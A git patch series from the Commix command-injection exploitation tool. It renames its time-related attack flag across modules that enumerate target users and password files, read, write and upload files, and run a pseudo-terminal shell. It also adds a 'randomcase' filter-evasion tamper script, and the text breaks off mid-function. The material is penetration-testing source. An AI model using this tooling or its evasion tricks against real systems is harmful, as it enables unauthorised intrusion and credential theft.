b/src/core/injections/controller/enumeration.py index 0f1fec9f0a..d176097b4a 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -41,10 +41,10 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector _ = False cmd = settings.PS_VERSION - if not settings.TIME_RELATIVE_ATTACK and alter_shell: + if not settings.TIME_RELATED_ATTACK and alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -88,7 +88,7 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -133,11 +133,11 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS - if not settings.TIME_RELATIVE_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: + if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -158,19 +158,19 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if target_os: - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: @@ -196,11 +196,11 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP - if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -246,7 +246,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -293,7 +293,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -335,15 +335,15 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: cmd = checks.add_new_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True try: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -388,7 +388,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -432,7 +432,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -451,7 +451,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) - if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0: + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index 64e64f57f6..f5e719722a 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -36,7 +36,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, from src.core.injections.results_based.techniques.eval_based import eb_injector as injector else: from src.core.injections.results_based.techniques.classic import cb_injector as injector - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: whitespace = settings.WHITESPACES[0] _ = True cmd = checks.change_dir(dest_to_write) @@ -61,7 +61,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector cmd = checks.write_content(content, dest_to_write) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -76,7 +76,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0 and not _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -92,7 +92,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) @@ -112,7 +112,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec else: from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector cmd, dest_to_upload = checks.check_file_to_upload() - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: @@ -125,7 +125,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_upload) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) else: if settings.USE_BACKTICKS: @@ -136,7 +136,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) @@ -159,7 +159,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, _ = False cmd, file_to_read = checks.file_content_to_read() if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: @@ -178,7 +178,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = "".join(str(p) for p in shell) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 6d03cf211d..a0b29f94ea 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -105,13 +105,13 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, time.sleep(timesec) if menu.options.ignore_session or session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) # Export injection result - checks.time_relative_export_injection_results(cmd, separator, shell, check_exec_time) + checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) @@ -164,9 +164,9 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, settings.print_data_to_stdout(settings.END_LINE.CR) """ -The main time-relative exploitation proccess. +The main Time-related exploitation proccess. """ -def do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): +def do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): counter = 1 num_of_chars = 1 @@ -177,11 +177,11 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t false_positive_warning = False export_injection_info = False exec_time = 0 - timesec = checks.time_relative_timesec(timesec) + timesec = checks.time_related_timesec(timesec) - if settings.TIME_RELATIVE_ATTACK == False: - checks.time_relative_attaks_msg() - settings.TIME_RELATIVE_ATTACK = None + if settings.TIME_RELATED_ATTACK == False: + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = None # Check if defined "--url-reload" option. if menu.options.url_reload == True: @@ -273,8 +273,8 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t else: percent = "" else: - if checks.time_relative_shell(url_time_response, exec_time, timesec): - # Time relative false positive fixation. + if checks.time_related_shell(url_time_response, exec_time, timesec): + # Time related false positive fixation. false_positive_fixation = False if len(TAG) == output_length: @@ -333,7 +333,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t else: exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - if checks.time_relative_shell(url_time_response, exec_time, timesec): + if checks.time_related_shell(url_time_response, exec_time, timesec): if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True exec_time_statistic = 0 @@ -386,7 +386,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t # Yaw, got shellz! # Do some magic tricks! - if checks.time_relative_shell(url_time_response, exec_time, timesec): + if checks.time_related_shell(url_time_response, exec_time, timesec): if (len(TAG) == output_length) and (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False @@ -433,7 +433,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec call_tmp_based = False next_attack_vector = False export_injection_info = False - timesec = checks.time_relative_timesec(timesec) + timesec = checks.time_related_timesec(timesec) if technique == settings.INJECTION_TECHNIQUE.CLASSIC: try: diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index f0560665e4..6b5dc1e345 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -36,7 +36,7 @@ """ The main time-realative command injection exploitation. """ -def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.blind.techniques.time_based import tb_payloads as payloads diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 38fa3e16b4..0f013843d9 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -26,7 +26,7 @@ The "tempfile-based" injection technique handler """ def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): - return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + return handler.do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -35,15 +35,15 @@ def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): settings.WEB_ROOT = "" # Check if attack is based on time delays. - if not settings.TIME_RELATIVE_ATTACK : - checks.time_relative_attaks_msg() - settings.TIME_RELATIVE_ATTACK = True + if not settings.TIME_RELATED_ATTACK : + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = True injection_type = settings.INJECTION_TYPE.SEMI_BLIND technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: - settings.TIME_RELATIVE_ATTACK = settings.TEMPFILE_BASED_STATE = False + settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False return False # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index ccfd412e92..bc181c9a62 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -24,7 +24,7 @@ The main command injection exploitation. """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): - return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. diff --git a/src/core/main.py b/src/core/main.py index 2dbe2d9eb3..56624cff5b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -283,8 +283,8 @@ def init_injection(url): settings.FILE_BASED_STATE = False if settings.TEMPFILE_BASED_STATE: settings.TEMPFILE_BASED_STATE = False - if settings.TIME_RELATIVE_ATTACK: - settings.TIME_RELATIVE_ATTACK = False + if settings.TIME_RELATED_ATTACK: + settings.TIME_RELATED_ATTACK = False """ Using 'stdin' for parsing targets. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index d5e09c27d4..b1559fa1d3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -355,7 +355,7 @@ def request_failed(err_msg): return False return True else: - error_msg = "The provided target URL seems not reachable." + error_msg = "The provided target URL seems not reachable. " items = [] if not menu.options.random_agent: items.append("'--random-agent' switch") @@ -416,7 +416,7 @@ def get_request_response(request): Check if target host is vulnerable. """ def init_injection(payload, http_request_method, url): - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: start = 0 end = 0 start = time.time() @@ -458,7 +458,7 @@ def init_injection(payload, http_request_method, url): headers.do_check(request) response = get_request_response(request) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: end = time.time() response = int(end - start) else: @@ -500,7 +500,7 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -510,7 +510,7 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -543,7 +543,7 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -553,7 +553,7 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -586,7 +586,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -596,7 +596,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -629,7 +629,7 @@ def inject_host(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -639,7 +639,7 @@ def inject_host(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -675,7 +675,7 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -685,7 +685,7 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -879,7 +879,7 @@ def url_reload(url, timesec): return response """ -Calculate the time relative execution time +Calculate the time related execution time """ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): # Fix prefixes / suffixes diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 30a39b1881..b26e740e54 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -40,12 +40,10 @@ def sleep_to_timeout_ping(payload): else: payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") return payload - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: if settings.TRANFROM_PAYLOAD == None: - if settings.TRANFROM_PAYLOAD == None: - checks.time_relative_tamper(__tamper__) - settings.TRANFROM_PAYLOAD = False - return payload + settings.TRANFROM_PAYLOAD = False + return payload else: settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 7cf95b8b7e..0e3f69946c 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -41,9 +41,8 @@ def sleep_to_usleep(payload): payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload if settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: if settings.TRANFROM_PAYLOAD == None: - checks.time_relative_tamper(__tamper__) settings.TRANFROM_PAYLOAD = False return payload else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6231f081d1..ba2972f9ee 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -455,7 +455,7 @@ class OS(object): TIME_BASED_STATE = False FILE_BASED_STATE = False TEMPFILE_BASED_STATE = False -TIME_RELATIVE_ATTACK = False +TIME_RELATED_ATTACK = False # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" @@ -1153,6 +1153,11 @@ class AUTH_TYPE(object): "uninitializedvariable" ] +TIME_RELATED_TAMPER_SCRIPTS = [ + "sleep2usleep", + "sleep2timeout" +] + IGNORE_TAMPER_TRANSFORMATION = [ "IFS", "if", From 5f87d4bda76bda577b5dded3dd36450ef0299bee Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Mar 2025 16:50:55 +0200 Subject: [PATCH 539/560] Added a new tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 14 ++++++++ src/core/tamper/randomcase.py | 45 ++++++++++++++++++++++++ src/utils/settings.py | 4 ++- 4 files changed, 63 insertions(+), 1 deletion(-) create mode 100644 src/core/tamper/randomcase.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b4d19899a1..31da34fd27 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. * Revised: Minor code refactoring regarding multiple tamper scripts. * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). * Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 36fab1b190..df08e617d0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1620,6 +1620,14 @@ def whitespace_check(payload): Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ def other_symbols(payload): + # Implemented check to replace each character in a user-supplied OS command with a random case. + if payload.count("|tr \"[A-Z]\" \"[a-z]\"") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: + if not settings.TAMPER_SCRIPTS['randomcase']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + ",randomcase" + else: + menu.options.tamper = "randomcase" + # Check for reversed (characterwise) user-supplied operating system commands. if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['rev']: @@ -1851,6 +1859,12 @@ def perform_payload_modification(payload): from src.core.tamper import rev payload = rev.tamper(payload) + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # Replaces each user-supplied operating system command character with random case + if mod_type == 'randomcase': + from src.core.tamper import randomcase + payload = randomcase.tamper(payload) + for print_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # printf to echo (for ascii to dec) if print_type == 'printf2echo': diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py new file mode 100644 index 0000000000..77c6c286b7 --- /dev/null +++ b/src/core/tamper/randomcase.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from random import choice +from src.utils import settings + +""" +About: Replaces each character in a user-supplied OS command with a random case. +Notes: This tamper script works against Unix-like target(s). +""" + +__tamper__ = "randomcase" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + _ = (''.join(choice((str.upper, str.lower))(c) for c in settings.USER_APPLIED_CMD)) + if settings.EXPLOITATION_PHASE: + if settings.TAMPER_SCRIPTS["rev"]: + if settings.USE_BACKTICKS: + _ = _[::-1] + "|rev" + else: + 